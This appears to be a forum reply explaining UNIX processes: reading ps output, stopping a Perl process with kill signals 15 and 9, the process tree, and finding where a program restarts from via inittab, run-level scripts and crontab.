Every running program (more precisely: every instance of a running program, because the same program could be started more than once) is a "process" in UNIX. Processes are managed in a table by the kernel and there is a command to display (parts of) this table: ps. ps has many many options (too many to explain them all here) but you might want to start with this (a sample output is below):

Code:

# ps -fe
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 Feb10 ?        00:00:16 /usr/lib/systemd/systemd --switched-root --system --de serialize 20
root         2     0  0 Feb10 ?        00:00:00 [kthreadd]
root         3     2  0 Feb10 ?        00:00:16 [ksoftirqd/0]
root         5     2  0 Feb10 ?        00:00:00 [kworker/0:0H]
root         7     2  0 Feb10 ?        00:05:34 [rcu_sched]
root         8     2  0 Feb10 ?        00:00:00 [rcu_bh]
root         9     2  0 Feb10 ?        00:02:48 [rcuos/0]
root        10     2  0 Feb10 ?        00:00:00 [rcuob/0]
root        11     2  0 Feb10 ?        00:00:00 [migration/0]
root        12     2  0 Feb10 ?        00:00:04 [watchdog/0]
root        13     2  0 Feb10 ?        00:00:03 [watchdog/1]
root        14     2  0 Feb10 ?        00:00:00 [migration/1]
root        15     2  0 Feb10 ?        00:00:01 [ksoftirqd/1]
root        17     2  0 Feb10 ?        00:00:00 [kworker/1:0H]
...

What you see is the owner of the process ("UID"), the process' ID ("PID"), which is unique for every running process. (Unique in the sense that every running process is guaranteed to have a different number. Once it stops and the number becomes unused it can be reused by the next process.). Furthermore there is the parent process' ID ("PPID", more on that below) and the command used to invoke the process ("CMD") - some are enclosed in square brackets (i.e. "[kthreadd]"), signifying kernel threads where no real command in the classical sense was used to start them.

Use the grep-utility to filter perl-processes:

Code:

# ps -fe | grep perl
bakunin   8842 25710  0 Feb21 pts/0    00:00:00 /opt/bin/perl /foo/bar/myperlprog
bakunin  15520 15518  0 19:57 pts/1    00:00:00 /opt/bin/perl /foo/otherprog
...

To stop a process note its PID and send it a signal (a kind-of message), using the kill command:

Code:

# kill -15 PID1 PID2 PID3 ...

15 is the signal which tells a process to stop running and relinquish all its allocated resources: this is the most gentle and preferable way to do it, because a process will not just be stopped no matter what but given the opportunity to i.e. close opened files, release shared memory segments which won't be needed after it stops, etc. - in one word, cleaning up. Well-written programs will honor this signal and indeed quit as soon as they managed to clean up.

Less well-written programs might ignore this, though, and then (but only then!) you can use signal 9 instead. This is not a signal in the common sense (at least not to the program), but the command to the OS kernel to immediately terminate the program, regardless of it wanting to stop or not. If signal 15 is the asking to kindly commit suicide after phrasing your last will, signal 9 is a headshot. Note that signal 9 is used if you must, not because you can! It harms the stability of the kernel to use it and hence more gentle methods are preferred as long as they work.

A word about process hierarchies and the PPID: all process in a UNIX system are organized in a tree: each process can have multiple child processes which in turn can have one or more children of their own and so on. The root of this process tree is "init" (in modern Linux systems "systemd"), which always has PID 1. Every child process has the PID of its parent in the field PPID, so you can reconstruct the (part-)tree from there. Kill the parent and all children will die equally with it. Kill the init-process and you have shut down the whole system immediately (and a good chance to have damaged the system in the way, so don't try that on a system you need, at least not without necessity).

At last a word about how to avoid the program starting again: you need to find out from where it was started in first place. The PPID field might help with this. Common possibilities include:

- starting process: each UNIX system has a booting process and there are two general flavors of this: System V and BSD. System V-like systems execute first programs noted in the file /etc/inittab. If this file exists, have a look there.

- run levels: BSD- and System V-like systems use so-called "run levels" and execute a series of start-stop-scripts located in /etc/rc.d/rcN where N is a number between 1 and 6. These are directories in which scripts with names starting with "K" (kill) and "S" are located. When a certain run-level is entered all the the S-scripts in that level are executed. When the run-level is switched, all K-scripts of the current runlevel are executed first, then all S-scripts of the new run-level are executed. Have a look there.

- cron: UNIX has its own job-scheduler which can be used to repetitively start certain jobs at certain times. For every user there is its own Job list which you can display by switching into this user account and entering the command:

Code:

# crontab -l

You can edit this list with the command

Code:

# crontab -e

by removing the line with the call to the perl-program once you have found it.

Notice, that most to all these activities need you to gain access to the root user and that all these activities are potentially harmful to your system. If you do not know exactly what you do - DON'T DO IT! Otherwise you are risking your system. It is possible to voluntarily ruin a UNIX system beyond repair as root.

I hope this helps.

bakunin